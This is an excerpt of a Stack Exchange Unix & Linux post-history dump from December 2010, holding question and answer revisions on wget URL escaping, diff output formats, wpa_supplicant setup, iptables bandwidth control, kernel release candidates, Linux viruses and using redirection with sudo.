  <row Id="10572" PostHistoryTypeId="2" PostId="4819" RevisionGUID="b22b2adc-5cd6-49de-a799-cd81eec4e68f" CreationDate="2010-12-13T22:25:47.010" UserId="3088" Text="It seems you could use a combination of the answers here.  I'm guessing you are wanting to replace space chars with their escaped ascii values in the url.  To do this, you need to replace them with &quot;%20&quot;, not just &quot;%&quot;.  Here's a solution that should give you a complete answer:&#xD;&#xA;&#xD;&#xA;    $ wget `echo http://maps.google.be/maps\?saddr\=$1\&amp;daddr\=$2 | sed -e 's/\ /\%20/g'` -q -O temp.html&#xD;&#xA;&#xD;&#xA;The backticks indicate that the enclosed command should be interpreted first, and the result sent to wget.  Notice I escaped the space and % chars in the sed command to prevent them from being misinterpreted.  The -q option for wget prevents processing output from the command being printed to the screen (handy for scripting when you don't care about the in-work status) and the -O option specifies the output file.  FYI, if you don't want to save the output to a file, but just view it in the terminal, use &quot;-&quot; instead of a filename to indicate stdout." />
  <row Id="10573" PostHistoryTypeId="5" PostId="4801" RevisionGUID="c8e46288-b2c4-4ff2-932d-5bbc3271b5f5" CreationDate="2010-12-13T22:34:25.923" UserId="1207" Comment="added 45 characters in body" Text="Building on Blender's answer, to get the number of running processes the following can be used:&#xD;&#xA;&#xD;&#xA;    $ ps axo state | grep &quot;R&quot; | wc -l&#xD;&#xA;&#xD;&#xA;To get the number of processes in Uninterruptible Sleep you can use(**Edit Changed 'D' to 'U'**, thanks Gilles!):&#xD;&#xA;&#xD;&#xA;    $ ps axo state | grep &quot;U&quot; | wc -l" />
  <row Id="10575" PostHistoryTypeId="5" PostId="4812" RevisionGUID="907b3d37-a4fc-4d99-b8f6-00138b2fe674" CreationDate="2010-12-14T00:35:50.167" UserId="3092" Comment="added 138 characters in body" Text="I'm having difficulty getting a Netgear WG311 network card to work with Debian. Here is a screenshot showing `ifconfig wlan0`, `iwconfig`, network interface cards, and `wpa_supplicant` configs:&#xD;&#xA;&#xD;&#xA;I understand that the wpa doesn't work with third-party drivers and ndiswrapper; I've been told to use wpa_supplicant instead. How can I get my windows driver to work with the Netgear WG311 wireless card?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;ok had a look at the resource that Macieg gave me. Finally got a connection but after restart it is gone.&#xD;&#xA;&#xD;&#xA;the output of this command. wpa_supplicant -i wlan0 -D wext &#xD;&#xA;&#xD;&#xA;just shows wpa_supplicant help commands." />
  <row Id="10576" PostHistoryTypeId="5" PostId="4812" RevisionGUID="2ed2490c-a2d3-47a3-9867-eeee3785898a" CreationDate="2010-12-14T00:51:12.763" UserId="3092" Comment="added 170 characters in body" Text="I'm having difficulty getting a Netgear WG311 network card to work with Debian. Here is a screenshot showing `ifconfig wlan0`, `iwconfig`, network interface cards, and `wpa_supplicant` configs:&#xD;&#xA;&#xD;&#xA;I understand that the wpa doesn't work with third-party drivers and ndiswrapper; I've been told to use wpa_supplicant instead. How can I get my windows driver to work with the Netgear WG311 wireless card?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;ok had a look at the resource that Macieg gave me. Finally got a connection but after restart it is gone.&#xD;&#xA;&#xD;&#xA;the output of this command. wpa_supplicant -i wlan0 -D wext &#xD;&#xA;&#xD;&#xA;just shows wpa_supplicant help commands.&#xD;&#xA;&#xD;&#xA;UPDATE2&#xD;&#xA;&#xD;&#xA;Ok the connection comes up after restart, but only 5 minutes after i do this command&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -B -c/etc/wpa_supplicant.conf -iwlan0 -Dwext&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10577" PostHistoryTypeId="4" PostId="4573" RevisionGUID="105b2a88-9ce6-45df-81b2-2f1dcd10f43c" CreationDate="2010-12-14T01:07:22.580" UserId="688" Comment="edited title" Text="Which GUI diff viewer would you recommend?" />
  <row Id="10578" PostHistoryTypeId="2" PostId="4820" RevisionGUID="217adde6-a318-4807-87e1-5485766cf65f" CreationDate="2010-12-14T05:09:38.500" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know what is the difference between Context output format and Unicode output format while taking diff?  &#xD;&#xA;&#xD;&#xA;diff -NBur dir1/ dir2/&#xD;&#xA;diff -NBcr dir1/ dir2/  &#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen" />
  <row Id="10579" PostHistoryTypeId="1" PostId="4820" RevisionGUID="217adde6-a318-4807-87e1-5485766cf65f" CreationDate="2010-12-14T05:09:38.500" UserId="2871" Text="What is the difference between Context output format and Unicode output format while taking diff?" />
  <row Id="10580" PostHistoryTypeId="3" PostId="4820" RevisionGUID="217adde6-a318-4807-87e1-5485766cf65f" CreationDate="2010-12-14T05:09:38.500" UserId="2871" Text="élinuxàédiffà" />
  <row Id="10581" PostHistoryTypeId="2" PostId="4821" RevisionGUID="83048ae6-8cf0-49e9-96c7-76ea2af60aba" CreationDate="2010-12-14T05:53:43.680" UserId="2914" Text="Hi All,&#xD;&#xA;&#xD;&#xA;Can we control bandwidth using iptables in RHEL 5??&#xD;&#xA;" />
  <row Id="10582" PostHistoryTypeId="1" PostId="4821" RevisionGUID="83048ae6-8cf0-49e9-96c7-76ea2af60aba" CreationDate="2010-12-14T05:53:43.680" UserId="2914" Text="control bandwidth" />
  <row Id="10583" PostHistoryTypeId="3" PostId="4821" RevisionGUID="83048ae6-8cf0-49e9-96c7-76ea2af60aba" CreationDate="2010-12-14T05:53:43.680" UserId="2914" Text="érhelà" />
  <row Id="10584" PostHistoryTypeId="5" PostId="4820" RevisionGUID="054191da-ac41-4980-854b-76988c1f7586" CreationDate="2010-12-14T05:55:43.267" UserId="2871" Comment="added 2 characters in body" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know what is the difference between Context output format and Unicode output format while taking diff?  &#xD;&#xA;&#xD;&#xA;diff -NBur dir1/ dir2/  &#xD;&#xA;diff -NBcr dir1/ dir2/  &#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen" />
  <row Id="10585" PostHistoryTypeId="2" PostId="4822" RevisionGUID="c39d76cf-6d0a-4901-81cd-aba79e348549" CreationDate="2010-12-14T05:56:46.610" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;When i visited the kernel.org website to download the latest linux kernel , i have seen a package named 2.6.37-rc5 in the repository.&#xD;&#xA;&#xD;&#xA;In the name , i don't know the meaning(expansion) of &quot;rc&quot; ?&#xD;&#xA;&#xD;&#xA;I have also seen the same extension in many of the linux related packages.&#xD;&#xA;&#xD;&#xA;What does it mean for?&#xD;&#xA;&#xD;&#xA;__Kanu" />
  <row Id="10586" PostHistoryTypeId="1" PostId="4822" RevisionGUID="c39d76cf-6d0a-4901-81cd-aba79e348549" CreationDate="2010-12-14T05:56:46.610" UserId="2269" Text="Meaning of &quot;rc5&quot;  in the linux kernel 2.6.37-rc5" />
  <row Id="10587" PostHistoryTypeId="3" PostId="4822" RevisionGUID="c39d76cf-6d0a-4901-81cd-aba79e348549" CreationDate="2010-12-14T05:56:46.610" UserId="2269" Text="élinuxà" />
  <row Id="10588" PostHistoryTypeId="2" PostId="4823" RevisionGUID="efb5bced-7691-43df-aff6-04ed5365852f" CreationDate="2010-12-14T06:14:35.613" UserId="2914" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have some python scripts (*.py) in linux. How can I make those scripts so that windows user can use and execute them???" />
  <row Id="10589" PostHistoryTypeId="1" PostId="4823" RevisionGUID="efb5bced-7691-43df-aff6-04ed5365852f" CreationDate="2010-12-14T06:14:35.613" UserId="2914" Text="linux python scripts" />
  <row Id="10590" PostHistoryTypeId="3" PostId="4823" RevisionGUID="efb5bced-7691-43df-aff6-04ed5365852f" CreationDate="2010-12-14T06:14:35.613" UserId="2914" Text="épythonà" />
  <row Id="10591" PostHistoryTypeId="2" PostId="4824" RevisionGUID="9f6700bf-80c3-4630-987f-0ad2100b94ad" CreationDate="2010-12-14T06:19:07.280" UserId="825" Text="Release Candidate.&#xD;&#xA;&#xD;&#xA;By convention, whenever an update for a program is almost ready, the test version is given a rc number.  If critical bugs are found, that require fixes, the program is updated and reissued with a higher rc number.  When no critical bugs remain, or no additional critical bugs are found, then the rc designation is dropped." />
  <row Id="10592" PostHistoryTypeId="2" PostId="4825" RevisionGUID="15c94627-8d51-4b99-9e9d-28cbeed51e44" CreationDate="2010-12-14T06:34:34.953" UserId="2810" Text="I am currently experimenting with using Ubuntu as a my main OS instead of Windows 7. So far, pretty much everything is working fine, except for an issue that I am having with my touchpad.&#xD;&#xA;&#xD;&#xA;I have a **Dell XPS 16 (1640) with a Synaptics touchpad**. It works out of the box, but it seems that it **stops working after returning from hibernation mode**.&#xD;&#xA;&#xD;&#xA;This problem has also been addressed in an **earlier bug**: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/317270 but judging from this bugreport, it should be fixed by now. &#xD;&#xA;&#xD;&#xA;I am running the **2.6.35-23-generic-pae** kernel.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="10593" PostHistoryTypeId="1" PostId="4825" RevisionGUID="15c94627-8d51-4b99-9e9d-28cbeed51e44" CreationDate="2010-12-14T06:34:34.953" UserId="2810" Text="Getting the Dell XPS 16 Synaptics touchpad to work after hibernation in Ubuntu." />
  <row Id="10594" PostHistoryTypeId="3" PostId="4825" RevisionGUID="15c94627-8d51-4b99-9e9d-28cbeed51e44" CreationDate="2010-12-14T06:34:34.953" UserId="2810" Text="élinuxàéubuntuàédriversàéhibernateàétouchpadà" />
  <row Id="10595" PostHistoryTypeId="5" PostId="4822" RevisionGUID="309a6a0e-4991-4a40-b54f-609825a999a4" CreationDate="2010-12-14T06:36:34.030" UserId="73" Comment="deleted 138 characters in body; edited title" Text="When I visited the kernel.org website to download the latest Linux kernel, I noticed a package named `2.6.37-rc5` in the repository. What is the meaning of the &quot;rc5&quot; at the end?&#xD;&#xA;" />
  <row Id="10596" PostHistoryTypeId="4" PostId="4822" RevisionGUID="309a6a0e-4991-4a40-b54f-609825a999a4" CreationDate="2010-12-14T06:36:34.030" UserId="73" Comment="deleted 138 characters in body; edited title" Text="Meaning of &quot;rc5&quot; in &quot;linux kernel 2.6.37-rc5&quot;" />
  <row Id="10597" PostHistoryTypeId="6" PostId="4822" RevisionGUID="565e5db6-4da7-4f58-b5e3-62b827ae80e1" CreationDate="2010-12-14T06:39:29.907" UserId="298" Comment="edited tags" Text="élinuxàékernelàéversionà" />
  <row Id="10598" PostHistoryTypeId="6" PostId="4821" RevisionGUID="9cfd9c25-013e-4181-b2dc-9fefd0fbd756" CreationDate="2010-12-14T06:40:42.807" UserId="298" Comment="edited tags" Text="érhelàéiptablesàéqosà" />
  <row Id="10599" PostHistoryTypeId="5" PostId="4821" RevisionGUID="cec7a8f5-0467-4bab-a27b-e2ee141a343d" CreationDate="2010-12-14T06:47:44.063" UserId="73" Comment="deleted 7 characters in body; edited title" Text="How can I control bandwidth in RHEL 5 using `iptables`?&#xD;&#xA;" />
  <row Id="10600" PostHistoryTypeId="4" PostId="4821" RevisionGUID="cec7a8f5-0467-4bab-a27b-e2ee141a343d" CreationDate="2010-12-14T06:47:44.063" UserId="73" Comment="deleted 7 characters in body; edited title" Text="Control bandwidth with iptables" />
  <row Id="10601" PostHistoryTypeId="2" PostId="4826" RevisionGUID="adbfb068-0cbb-4969-bda7-7d86f5f32403" CreationDate="2010-12-14T07:14:31.287" UserId="1946" Text="Apparently you've misread the manual.  The `-u` flag is for _unified_ context, not Unicode and `-c` is for _copied_ context, not 'Context format':&#xD;&#xA;&#xD;&#xA;` -c  -C NUM  --context[=NUM]&#xD;&#xA;              Output NUM (default 3) lines of copied context.`&#xD;&#xA;&#xD;&#xA;` -u  -U NUM  --unified[=NUM]&#xD;&#xA;              Output NUM (default 3) lines of unified context.`&#xD;&#xA;&#xD;&#xA;The most straightforward way to find out what is the difference, is to try it out:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;$ cat &gt;1&#xD;&#xA;line&#xD;&#xA;diff &#xD;&#xA;more&#xD;&#xA;^D&#xD;&#xA;$ cat &gt;2&#xD;&#xA;line &#xD;&#xA;ffid&#xD;&#xA;more&#xD;&#xA;^D&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;$ diff -c 1 2&#xD;&#xA;*** 1	2010-12-14 09:08:48.019797000 +0200&#xD;&#xA;--- 2	2010-12-14 09:08:56.029797001 +0200&#xD;&#xA;***************&#xD;&#xA;*** 1,3 ****&#xD;&#xA;  line&#xD;&#xA;! diff&#xD;&#xA;  more&#xD;&#xA;--- 1,3 ----&#xD;&#xA;  line&#xD;&#xA;! ffid&#xD;&#xA;  more&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;$ diff -u 1 2&#xD;&#xA;--- 1	2010-12-14 09:08:48.019797000 +0200&#xD;&#xA;+++ 2	2010-12-14 09:08:56.029797001 +0200&#xD;&#xA;@@ -1,3 +1,3 @@&#xD;&#xA; line&#xD;&#xA;-diff&#xD;&#xA;+ffid&#xD;&#xA; more&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Do you get what's the difference?" />
  <row Id="10602" PostHistoryTypeId="5" PostId="4820" RevisionGUID="eba88e8a-d34b-4b47-805f-919b218d360c" CreationDate="2010-12-14T07:20:34.740" UserId="73" Comment="deleted 42 characters in body" Text="What is the difference between Context output format and Unicode output format when taking a diff?  &#xD;&#xA;&#xD;&#xA;    diff -NBur dir1/ dir2/  &#xD;&#xA;    diff -NBcr dir1/ dir2/  &#xD;&#xA;" />
  <row Id="10603" PostHistoryTypeId="2" PostId="4827" RevisionGUID="55278e94-5320-4592-9ad5-2c0da71b7b7c" CreationDate="2010-12-14T08:48:03.530" UserId="1660" Text="You can't by iptables alone. You should &quot;mark&quot; packets in the *mangle* table and then apply QoS with the **tc** program. Take a look [here][1] for a rather comprehensive documentation on how to do it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lartc.org/" />
  <row Id="10604" PostHistoryTypeId="2" PostId="4828" RevisionGUID="57948199-bef8-4d6a-8581-a10e3e2cbf19" CreationDate="2010-12-14T09:38:15.600" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;Is there any virus attack in any of  the current distributions of Linux?&#xD;&#xA;&#xD;&#xA;if there is any, how was it solved ? have they used any anti virus programs which are available now?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__kanu" />
  <row Id="10605" PostHistoryTypeId="1" PostId="4828" RevisionGUID="57948199-bef8-4d6a-8581-a10e3e2cbf19" CreationDate="2010-12-14T09:38:15.600" UserId="2269" Text="Virus attack in Linux !!!!!" />
  <row Id="10606" PostHistoryTypeId="3" PostId="4828" RevisionGUID="57948199-bef8-4d6a-8581-a10e3e2cbf19" CreationDate="2010-12-14T09:38:15.600" UserId="2269" Text="élinuxà" />
  <row Id="10607" PostHistoryTypeId="5" PostId="4645" RevisionGUID="bbc1785b-a06f-48f9-a912-d24c86e5e3f8" CreationDate="2010-12-14T09:52:55.317" UserId="688" Comment="added 1 characters in body" Text="Using either NetworkManager or Wicd to manage wireless networking on my Wi-Fi-powered laptop, too often I get randomly disconnected, and I see these messages on __/var/log/syslog__:&#xD;&#xA;&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPREQUEST on wlan0 to 10.0.0.2 port 67&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPACK from 10.0.0.2&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: bound to 10.0.0.4 -- renewal in 1662 seconds.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105982.935232] iwlagn 0000:06:00.0: Microcode SW error detected.  Restarting 0x82000000.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182330] Registered led device: iwl-phy0::radio&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182586] Registered led device: iwl-phy0::assoc&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182658] Registered led device: iwl-phy0::RX&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182872] Registered led device: iwl-phy0::TX&#xD;&#xA;&#xD;&#xA;*I think __05:40:38__ is the first line that indicates trouble*&#xD;&#xA;&#xD;&#xA;With NetworkManager, I recover from this situation with the following command each time this happens:&#xD;&#xA;&#xD;&#xA;    nmcli nm wifi off &amp;&amp; nmcli nm wifi on&#xD;&#xA;&#xD;&#xA;A less manual solution/workaround would be extra nice :)&#xD;&#xA;&#xD;&#xA;__notes__:&#xD;&#xA;&#xD;&#xA;* Wi-Fi chipset is Intel's **4965**.&#xD;&#xA;* I reproduced this problem on **2.6.32**, **2.6.36** and **2.6.37-rc4** kernel versions." />
  <row Id="10608" PostHistoryTypeId="5" PostId="4645" RevisionGUID="8cf8bd3f-ef73-485b-bf25-b56de108b7da" CreationDate="2010-12-14T10:18:15.830" UserId="688" Comment="added 58 characters in body" Text="Using either NetworkManager or Wicd to manage wireless networking on my Wi-Fi-powered laptop, too often I get randomly disconnected, and I see these messages on __/var/log/syslog__:&#xD;&#xA;&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPREQUEST on wlan0 to 10.0.0.2 port 67&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: DHCPACK from 10.0.0.2&#xD;&#xA;    Dec 10 05:21:26 debian dhclient: bound to 10.0.0.4 -- renewal in 1662 seconds.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105982.935232] iwlagn 0000:06:00.0: Microcode SW error detected.  Restarting 0x82000000.&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182330] Registered led device: iwl-phy0::radio&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182586] Registered led device: iwl-phy0::assoc&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182658] Registered led device: iwl-phy0::RX&#xD;&#xA;    Dec 10 05:40:38 debian kernel: [105983.182872] Registered led device: iwl-phy0::TX&#xD;&#xA;&#xD;&#xA;*I think __05:40:38__ is the first line that indicates trouble*&#xD;&#xA;&#xD;&#xA;With NetworkManager, I recover from this situation with the following command each time this happens:&#xD;&#xA;&#xD;&#xA;    nmcli nm wifi off &amp;&amp; nmcli nm wifi on&#xD;&#xA;&#xD;&#xA;Output of `uname -a`:&#xD;&#xA;&#xD;&#xA;    Linux debian 2.6.32-5-686-bigmem #1 SMP Thu Nov 25 19:30:54 UTC 2010 i686 GNU/Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__notes__:&#xD;&#xA;&#xD;&#xA;* Wi-Fi chipset is Intel's **4965**.&#xD;&#xA;* I reproduced this problem on **2.6.32**, **2.6.36** and **2.6.37-rc4** kernel versions." />
  <row Id="10609" PostHistoryTypeId="2" PostId="4829" RevisionGUID="57dd1f20-79d4-4562-8581-d67364aa6c41" CreationDate="2010-12-14T10:31:03.393" UserId="252" Text="There is a worm going around for an [exim4 vulnerability](http://lists.debian.org/debian-security-announce/2010/msg00181.html) in Debian: http://blog.bytemark.co.uk//2010/12/12/fresh-worm-food" />
  <row Id="10610" PostHistoryTypeId="5" PostId="832" RevisionGUID="84452d47-9618-4f19-a1a7-ae9a64f68b0c" CreationDate="2010-12-14T12:26:18.230" UserId="728" Comment="typoo fix" Text="A lot of people compare installing software with `apt-get` to `rpm -i`, and therefore say DEB better. This however, has nothing to do with the DEB file format. The real comparison is `dpkg` vs `rpm` and `apitude`/`apt-*` vs `zypper`/`yum`.&#xD;&#xA;&#xD;&#xA;For a user point of view, there isn't much difference in these tools. The RPM and DEB formats are both just archive files, with some metadata attached to them. They are both as arcane, have hardcoded install paths (yuk!) and only differ in subtle details. Both `dpkg -i` and `rpm -i` have no way of figuring out how to install dependencies, except if they happen to be specified at the command line.&#xD;&#xA;&#xD;&#xA;On top of these tools, there is a repository management in the form of `apt-...` or `zypper`/`yum`. These tools download repositories, track all metadata and automate the downloading of dependencies. The final installation of each single package is handed over to the low-level tools.&#xD;&#xA;&#xD;&#xA;For a long time, `apt-get` has been superior in processing the enormous metadata really fast, where `yum` would take ages to do it. RPM also suffered from sites like rpmfind, where you found 10+ incompatible packages for different distributions. Apt completely hid this problem for DEB packages, because all packages got installed from the same source.&#xD;&#xA;&#xD;&#xA;In my opinion, `zypper` has really closed to gap with apt, and there is no reason to be ashamed of using an RPM-based distribution these days. It's just as good, if not easier to use with the openSUSE build service at hand for a huge compatible package index." />
  <row Id="10611" PostHistoryTypeId="4" PostId="4828" RevisionGUID="37d42f6c-af0d-4e9b-8c4e-01d90105c9e9" CreationDate="2010-12-14T12:26:56.013" UserId="2269" Comment="edited title" Text="Is there any Virus attack in Linux !!!!!" />
  <row Id="10612" PostHistoryTypeId="2" PostId="4830" RevisionGUID="d85ea7af-bbe1-4585-83dd-c9176efed7da" CreationDate="2010-12-14T12:57:43.860" UserId="29" Text="Yeah I could  (and probably will) just escalate to root, but I'd like to know why this doesn't work?&#xD;&#xA;&#xD;&#xA;    sudo cat .mplayer/config &gt;&gt; /home/griff/.mplayer/config&#xD;&#xA;    zsh: permission denied: /home/griff/.mplayer/config&#xD;&#xA;&#xD;&#xA;sudo is capable of running any command." />
  <row Id="10613" PostHistoryTypeId="1" PostId="4830" RevisionGUID="d85ea7af-bbe1-4585-83dd-c9176efed7da" CreationDate="2010-12-14T12:57:43.860" UserId="29" Text="How do I use redirection with sudo" />
  <row Id="10614" PostHistoryTypeId="3" PostId="4830" RevisionGUID="d85ea7af-bbe1-4585-83dd-c9176efed7da" CreationDate="2010-12-14T12:57:43.860" UserId="29" Text="écommandölineàéshellàéioöredirectionàésudoàécatà" />
  <row Id="10615" PostHistoryTypeId="4" PostId="4828" RevisionGUID="cdb3d8f1-d344-4207-abdb-8dddee26718a" CreationDate="2010-12-14T12:58:57.497" UserId="29" Comment="add tags" Text="Is there any Virus attack in Linux?" />
  <row Id="10616" PostHistoryTypeId="5" PostId="4828" RevisionGUID="cdb3d8f1-d344-4207-abdb-8dddee26718a" CreationDate="2010-12-14T12:58:57.497" UserId="29" Comment="add tags" Text="Is there any virus attack on any of the current distributions of Linux?&#xD;&#xA;&#xD;&#xA;if there is any, how was it solved? have they used any anti virus programs which are available now?" />
  <row Id="10617" PostHistoryTypeId="6" PostId="4828" RevisionGUID="cdb3d8f1-d344-4207-abdb-8dddee26718a" CreationDate="2010-12-14T12:58:57.497" UserId="29" Comment="add tags" Text="élinuxàévirusesàémalwareà" />
  <row Id="10618" PostHistoryTypeId="2" PostId="4831" RevisionGUID="c5502853-3827-426b-8885-dfe3370531fe" CreationDate="2010-12-14T13:31:21.347" UserId="2701" Text="By &#xD;&#xA;&#xD;&#xA;&gt; sudo is capable of running any command&#xD;&#xA;&#xD;&#xA;do you mean that conceptually sudo can be configured to run any command or that you have configured sudo on the system in question as, roughly, `&lt;user&gt; &lt;host(s)&gt;=&lt;opt(s)&gt; ALL`?&#xD;&#xA;&#xD;&#xA;Have you tried `sudo -u 0 cat ...`? This would force sudo to execute the command as root, provided that your user id is allowed to do so.&#xD;&#xA;&#xD;&#xA;What does `sudo -l` print?" />
  <row Id="10619" PostHistoryTypeId="2" PostId="4832" RevisionGUID="05093a9c-e6bc-4fd4-923c-12fa563ad2c5" CreationDate="2010-12-14T13:50:35.283" UserId="1294" Text="This fails because the redirection `&gt;&gt;` is always done before the execution of the command regardless of the command.&#xD;&#xA;&#xD;&#xA;In this case, the shell is running as you (not root) and tries to append to the `.../config` file using your current permissions, not root's, and fails before sudo even runs.&#xD;&#xA;&#xD;&#xA;A common metaphor for doing what your command intends is:&#xD;&#xA;&#xD;&#xA;    sudo tee --append /home/griff/.mplayer/config &lt; .mplayer/config&#xD;&#xA;&#xD;&#xA;(assuming that you have read permission for `.mplayer/config`). Because `/home/griff/...` is opened by `tee` in the root context of sudo, it has root permissions to write that file.&#xD;&#xA;&#xD;&#xA;I'm not wild about this approach as it copies the contents of `.mplayer/config` to the standard output - along with appending it to griff's file - but it does work." />
  <row Id="10620" PostHistoryTypeId="5" PostId="4830" RevisionGUID="afca1a5f-50a8-4d3b-bbeb-9803cb9bad67" CreationDate="2010-12-14T14:03:11.767" UserId="29" Comment="attempt to clarify last sentence" Text="Yeah I could  (and probably will) just escalate to root, but I'd like to know why this doesn't work?&#xD;&#xA;&#xD;&#xA;    sudo cat .mplayer/config &gt;&gt; /home/griff/.mplayer/config&#xD;&#xA;    zsh: permission denied: /home/griff/.mplayer/config&#xD;&#xA;&#xD;&#xA;`sudo` is configured to be able to run any command, I've placed no restrictions on it." />
  <row Id="10621" PostHistoryTypeId="2" PostId="4833" RevisionGUID="db5cb206-5e2f-4ee6-95e0-d4d2045b2bc9" CreationDate="2010-12-14T14:57:11.383" UserId="2810" Text="As answered by [msw][1] [before][2], this happens because `&gt;&gt;` **happens before the actual command execution** and does not run with the elevated `sudo` privileges.&#xD;&#xA;&#xD;&#xA;**An alternative way to do this, is to wrap the entire command in another bash command shell:**&#xD;&#xA;&#xD;&#xA;    sudo bash -c &quot;cat .mplayer/config &gt;&gt; /home/griff/.mplayer/config&quot;&#xD;&#xA;&#xD;&#xA;This will start a new bash shell with `sudo` privileges and closes it after executing the command.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/1294/msw&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4830/how-do-i-use-redirection-with-sudo/4832#4832" />
  <row Id="10622" PostHistoryTypeId="10" PostId="4830" RevisionGUID="10fabce0-329f-47b5-aee5-c2d38457d123" CreationDate="2010-12-14T15:19:46.113" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="10623" PostHistoryTypeId="5" PostId="4830" RevisionGUID="bb804e33-a5c9-4d47-9002-7446b1ca8b92" CreationDate="2010-12-14T15:19:46.287" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Redirecting stdout to a file you don&amp;#39;t have write permission on](http://unix.stackexchange.com/questions/1416/redirecting-stdout-to-a-file-you-dont-have-write-permission-on)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Yeah I could  (and probably will) just escalate to root, but I'd like to know why this doesn't work?&#xD;&#xA;&#xD;&#xA;    sudo cat .mplayer/config &gt;&gt; /home/griff/.mplayer/config&#xD;&#xA;    zsh: permission denied: /home/griff/.mplayer/config&#xD;&#xA;&#xD;&#xA;`sudo` is configured to be able to run any command, I've placed no restrictions on it." />
  <row Id="10624" PostHistoryTypeId="6" PostId="1416" RevisionGUID="a4d23ae2-6b4d-4edc-b004-2d56518a9135" CreationDate="2010-12-14T15:20:42.387" UserId="29" Comment="add sudo tag" Text="éshellàépermissionsàéioöredirectionàésudoàéioà" />
  <row Id="10625" PostHistoryTypeId="2" PostId="4834" RevisionGUID="e4f0617f-a54e-4bfc-8e07-bc8eea4b6965" CreationDate="2010-12-14T16:07:05.330" UserId="3109" Text="Is there a way to make cperl mode in emacs use all tabs for indentation instead of spaces? I've tried setting indent-tabs-mode, and cperl-tab-always-indent. Here is my .emacs file:&#xD;&#xA;&#xD;&#xA;(defalias 'perl-mode 'cperl-mode)&lt;br /&gt;&#xD;&#xA;(setq cperl-tab-always-indent t)&lt;br /&gt;&#xD;&#xA;(setq inhibit-splash-screen t)&lt;br /&gt;&#xD;&#xA;(cua-mode t)&lt;br /&gt;&#xD;&#xA;(setq cua-auto-tabify-rectangles nil) &lt;br /&gt;&#xD;&#xA;(transient-mark-mode 1) &lt;br /&gt;&#xD;&#xA;(setq cua-keep-region-after-copy t)&lt;br /&gt;" />
  <row Id="10626" PostHistoryTypeId="1" PostId="4834" RevisionGUID="e4f0617f-a54e-4bfc-8e07-bc8eea4b6965" CreationDate="2010-12-14T16:07:05.330" UserId="3109" Text="Emacs cperl mode - how to use tabs for indentation instead of spaces" />
  <row Id="10627" PostHistoryTypeId="3" PostId="4834" RevisionGUID="e4f0617f-a54e-4bfc-8e07-bc8eea4b6965" CreationDate="2010-12-14T16:07:05.330" UserId="3109" Text="éemacsà" />
  <row Id="10628" PostHistoryTypeId="2" PostId="4835" RevisionGUID="86e05956-387e-46ba-acd2-49f4d5f5dae1" CreationDate="2010-12-14T17:09:24.143" UserId="3032" Text="Hmm, are they not executable at the current moment? Are there any errors? What's wrong?&#xD;&#xA;&#xD;&#xA;First of all: does Windows even have Python installed? Open up a Command Prompt and type in `python`. If you get into a Python interpreter shell, you do have it.&#xD;&#xA;&#xD;&#xA;Next, to run the files, you have to `cd` into their directory and just run `python file.py`.&#xD;&#xA;&#xD;&#xA;If you were to give more details, maybe I could help a bit more?" />
  <row Id="10634" PostHistoryTypeId="2" PostId="4838" RevisionGUID="9893f62f-a50e-495a-b9cf-ac9ecfa483f6" CreationDate="2010-12-14T18:20:30.857" UserId="3112" Text="For Debian Packages there is a large set of helper scripts, a consistent policy manual and at least one way of doing almost everything. Dependencies are handled very well and can be defined in very good granularity. Re-building packages is very easy with debian packages and well supported by the tools available." />
  <row Id="10635" PostHistoryTypeId="2" PostId="4839" RevisionGUID="76070b1a-a9ce-4aa1-8fc8-c77fd9200ca3" CreationDate="2010-12-14T18:25:20.710" UserId="3112" Text="I'd go for custom solution written in perl using e.g. Template::Toolkit. That way you can keep your code elegant and simple." />
